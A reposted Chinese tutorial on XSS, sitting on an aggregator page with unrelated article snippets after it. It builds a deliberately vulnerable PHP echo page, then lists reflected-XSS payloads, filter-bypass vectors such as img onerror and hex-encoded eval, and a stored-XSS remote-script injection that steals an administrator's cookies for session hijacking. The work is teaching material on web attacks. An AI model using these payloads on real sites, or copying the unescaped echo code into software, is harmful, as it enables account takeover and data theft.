前端安全之 XSS攻击

 参看:

XSS的原理分析与解剖

前端安全 -- XSS攻击

web大前端开发中一些常见的安全性问题

1、前言

XSS 是面试时,hr提出来给我的,然后大体的浏览一遍,今天才查阅资料大体了解了它。

XSS 攻击:攻击者向HTML页面传入恶意的HTML或JS代码,当用户浏览该页面时,恶意代码执行,达到攻击的目的。

2、原理实现

在本地搭建PHP环境(使用phpstudy安装),然后在index.php文件中输入一下代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>
<?phpheader("X-XSS-Protection: 0"); // 0: 表示关闭浏览器的XSS防护机制error_reporting(0); // 加上error_reporting(0);就不会弹出警告了$xss = $_GET['xss_input'];echo '<h5>你输入的字符为</h5><br />'.$xss;
?>
</body>
</html>

现在在输入框中输入abc普通字符串,然后在页面中显示:

之后查看页面代码,就会发现页面上多了一行代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>/*------多了的代码:123-------*/
<h5>你输入的字符为</h5><br />123</body>
</html>

 

此时,我要是在输入<script>alert('xss')</script>这种可以被解析的代码时:

现在页面就显现出xss漏洞了。

之后查看页面代码,就会发现页面上多了一行代码:

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get"><input type="text" name="xss_input"><input type="submit">
</form>
<hr>
/*------多了的代码:<script>alert('xss')</script>-------*/
// 代码出现在 br标签 和 body标签中
<h5>你输入的字符为</h5><br /><script>alert('xss')</script></body>
</html>

 

3、xss利用输出环境来构造代码

现在我要改变 xss 攻击:

以上测试是在,标签中插入scrpit标签达到攻击的目的;现在我想要在html页面标签的属性中插入xss攻击代码。因此,当你我输入<script>alert('xss')</script>,不会显示出弹框了。

3.1测试代码

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>XSS利用输出的环境来构造代码</title>
</head><body><center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><?phpheader("X-XSS-Protection: 0");error_reporting(0);//加上error_reporting(0);就不会弹出警告了  $xss = $_GET['xss_input_value'];if(isset($xss)){echo '<input type="text" value="'.$xss.'">';}else{echo '<input type="type" value="输出">';}?></center>
</body></html>

页面效果:

3.2 输入一

当我在输入框输入qwer字符串时,会在输出框显示我输入的字符串:

 

此时网页代码:

  <center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="qwer">  </center>

3.3输入二

现在我输入<script>alert('xss')</script>,字符串正常输入,明显的可以看到,并没有弹出对话框:

此时网页代码:

<body><center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="<script>alert('xss')</script>">  </center>
</body>

分析输出代码:

<input type="text" value="<script>alert('xss')</script>">  </center>

3.4 输入三

如果我输入">,就会变成:

<input type="text" value=""> ">  </center>

input提前闭合了!之后的">就被舍弃了,变成了普通文本。

3.5 输入四

如果我输入:"><script>alert('xss')</script>

显示效果:

3.6 输入五

现在我不想显示弹框攻击了,我想触发某种事件实现攻击,那么就输入以下内容:

" οnmοusemοve="alert('我就测试一下')"

显示结果:

页面代码:

  <center><h6>把我们输入的字符串 输出到input里的value属性里</h6><form action="" method="get"><h6>请输入你想显现的字符串</h6><input type="text" name="xss_input_value" value="输入"><br><input type="submit"></form><hr><input type="text" value="" onmousemove="alert('我就测试一下')"">  </center>

说明:输入以后,鼠标在移动是触发事件,形成xss攻击。

那么,我在<textarea> 标签中显示呢?

此时就这样输入:

</textarea> <script>alert(‘xss’)</script> // 就可以实现弹窗了

4、过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢 ?

那么就需要记住:只要页面能触发你的js代码

有哪些方法呢?

<!-- 当找不到图片名为1的文件时,执行alert('xss') -->
<img scr=1 onerror=alert('xss')> <!-- 点击s时运行alert('xss') -->
<a href=javascrip:alert('xss')>s</a> <!-- 利用iframe的scr来弹窗 -->
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe><!-- 过滤了alert来执行弹窗 -->
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

5、xss的利用

<script scr="js_url"></script><img src=x onerror=appendChild(createElement('script')).src='js_url' />

比如我们在网站的留言区输入<script scr=”js_url”></script>

当管理员进后台浏览留言的时候,就会触发

然后管理员的cookies和后台地址还有管理员浏览器版本等等

你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,

就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

转载于:https://www.cnblogs.com/houfee/p/11138398.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/550312.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图片

转载于:https://www.cnblogs.com/water-1/p/11138418.html

idea 调节背景护眼_夜间用电脑亮瞎眼睛?这份夜间护眼指南来帮你。

题图&#xff1a;来自 Unsplash文/彭宏豪&#xff0c;笔名/安哥拉不知从什么时候起&#xff0c;「头秃」成了网友和周围人口中的一个高频词汇&#xff0c;似乎很多事情都离不了头秃——学到头秃、工作到头秃、熬夜到头秃等等&#xff0c;就连「突然」也渐渐演变成「秃然」。但对…

编写有效用例电子版_剖析用例设计方法的使用

今天给大家讲解的是用例设计方法的使用&#xff0c;在设计用例时该如何应用用例设计方法、设计出覆盖率高的测试用例呢&#xff1f;场景简介&#xff1a;普遍登录页面测试用例设计分析拿到需求&#xff0c;首先要做需求分析。我们看到登录界面有三个测试点&#xff1a;1.账号2.…

一个参数大小写引发的uploadify报错 Syntax error, unrecognized expression: #

上传控件uploadify 报错"Syntax error, unrecognized expression: #" 版本为 uploadify3.2 报错原因&#xff1a;参数ID【hidInfoId】小写错写成了大写。debug过程&#xff1a; ①&#xff1a;报错 "Syntax error, unrecognized expression: #" ②&#xf…

linux7 dns正向,Centos 7 搭建DNS正向解析和反向解析

Centos 7 搭建DNS正向解析和反向解析服务的三要素:安装-配置-启动1.使用yum安装DNSyum install bind -y2.修改配置文件vi /etc/named.conf修改以下内容&#xff1a;listen-on port 53 { any; };allow-query { any; };vi /etc/named.rfc1912.zones在末尾添加以下内容:zone "…

个人pkm软件 pim软件_个人申请软件著作权需要走哪些流程

软件著作权是企业的无形资产之一&#xff0c;它与商标权、专利权一起构成企业的知识产权&#xff0c;是企业投资、入股、融资等的有效无形资产&#xff0c;那么个人申请软件著作权需要走哪些流程&#xff1f;阅读完以下上海知识产权律师咨询为您整理的内容&#xff0c;一定会对…

最小值c语言 循环,C语言循环结构 -C语言求全班同学身高的最大值和最小值

编写程序&#xff0c;帮桐桐找出全班同学身高的最大值和最小值。问题分析输入&#xff1a;班级总人数&#xff1b;依次输入班上每位同学的身高值(float型)。输出&#xff1a;最大身高值和最小身高值(float型)。这是一个依次比较大小的问题&#xff0c;具体步骤为&#xff1a;1)…

Android底层开发技术实战详解——内核、移植和驱动

《Android底层开发技术实战详解——内核、移植和驱动》基本信息作者&#xff1a; 王振丽 丛书名&#xff1a; Android移动开发技术丛书 出版社&#xff1a;电子工业出版社 ISBN&#xff1a;9787121175930上架时间&#xff1a;2012-8-13出版日期&#xff1a;2012 年8月开本&…

mysql select in 不存在返回0_MySQL索引优化看这篇文章就够了!

来源&#xff1a;cnblogs.com/songwenjie/p/9410009.html本文主要讨论MySQL索引的部分知识。将会从MySQL索引基础、索引优化实战和数据库索引背后的数据结构三部分相关内容&#xff0c;下面一一展开(本文图片可点开放大)。一、MySQL索引基础首先&#xff0c;我们将从索引基础开…

《软件测试实战:微软技术专家经验总结》

《软件测试实战&#xff1a;微软技术专家经验总结》 基本信息 作者&#xff1a; 史亮 丛书名&#xff1a; 图灵原创 出版社&#xff1a;人民邮电出版社 ISBN&#xff1a;9787115345844 上架时间&#xff1a;2014-3-3 出版日期&#xff1a;2014 年2月 开本&#xff1a;16开 页…

websocket一直无法链接_.NET Core 实现基于Websocket的在线聊天室

什么是Websocket我们在传统的客户端程序要实现实时双工通讯第一想到的技术就是socket通讯&#xff0c;但是在web体系是用不了socket通讯技术的&#xff0c;因为http被设计成无状态&#xff0c;每次跟服务器通讯完成后就会断开连接。在没有websocket之前web系统如果要做双工通讯…

c语言既能读字母也能读数字,2014计算机二级考试C语言考前预测选择题

无忧考网为大家收集整理了《2014计算机二级考试C语言考前预测选择题》供大家参考&#xff0c;希望对大家有所帮助&#xff01;&#xff01;&#xff01;1.结构化分析方法是面向( )的自顶向下、逐步求精进行需求分析的方法A.对象B.数据结构C.数据流D.目标2.对线性表进行二分法检…

半监督分类算法_基于同质区和迁移学习的高光谱图像半监督分类

作 者 信 息赵婵娟&#xff0c;周绍光&#xff0c;丁 倩&#xff0c;刘丽丽(河海大学 地球科学与工程学院&#xff0c;江苏 南京 211100)“【摘要】针对高光谱遥感图像分类中标记样本难获取的问题&#xff0c;提出了一种基于同质区和迁移学习的新型半监督分类方法。首先对高…

c语言 结构体数组嵌套另一个结构体数组怎么初始化?,如何初始化结构体数组(内嵌结构体)...

Keil 结构体变量初始化tujidi1csd25142016-09-30一维数组结构体数组结构体数组&#xff0c;通过改变指针类型改变访问数组的方式toto129748850424332014-08-01mfc结构体指针、结构体数组指针u01399024812292014-12-14memset结构体初始化shagua_nan184092016-03-16【C -> 容器…

本特利3500_本特利技术控的自我修养之 轴位移探头安装

正在学习之-客户答疑国家疫情当前&#xff0c;除了保护好自己、不给国家添麻烦以外我们能做的实在有限。上学时因为种种原因没有按家里的期望学医&#xff0c;也没有能够考上最喜欢的生物专业(理想中希望去非洲做动物类研究工作-跟拍狮子)至今还是憾事&#xff0c;但是加入本特…

快捷方式修复_Mac上的屏幕截图不起作用该如何修复?

屏幕截图是Mac提供的内置功能&#xff0c;很少有它不起作用。但是由于某些意外的设置或硬件问题&#xff0c;Mac上的屏幕截图有时无法正常工作&#xff0c;这里提供的是Mac上的屏幕截图不起作用该如何修复&#xff1f;1.在Mac上启用屏幕快照快捷方式如果您按CMD SHIFT 3或CMD…

计算机二级2019年9月c语言题库,(3)2019年9月计算机二级C语言试题

当你的计算机知识还撑不起你的学习、工作时&#xff0c;那你就应该静下心来刷计算机等级考试题库-二级C语言试题。1)下列叙述中正确的是( )。A.解决同一个问题的不同算法的时间复杂度一般是不同的B.解决同一个问题的不同算法的时间复杂度必定是相同的C.对同一批数据作同一种处理…

Android应用开发学习笔记之多线程与Handler消息处理机制

作者&#xff1a;刘昊昱 博客&#xff1a;http://blog.csdn.net/liuhaoyutz 和JAVA一样&#xff0c;Android下我们可以通过创建一个Thread对象实现多线程。Thread类有多个构造函数&#xff0c;一般通过构造函数Thread(Runnable runnable)实现多线程&#xff0c;代码如下&#…

nsga2算法c++实现_Bellman-Ford算法

之前文章对于Dijkstra算法进行了讲解和实现&#xff0c;其实现的原理在于采用贪心算法&#xff0c;遍历N(结点数)次&#xff0c;每次找到局部最优的路径的结点u&#xff0c;判断该节点可达的顶点v的权重是否大于结点u权重u->v的权重&#xff0c;如果大于则替换顶点v的权重(也…

android 获取phone实例,Android ContentProvider获取手机联系人实例

在做项目的时候&#xff0c;因为要用到我们自动获取联系人的姓名和电话&#xff0c;就想到了ContentProvider分享数据的功能&#xff0c;这样做既节省了时间&#xff0c;也减少了我们输入错误号码的几率&#xff0c;所以&#xff0c;想在这里把小demo分享给大家&#xff0c;方便…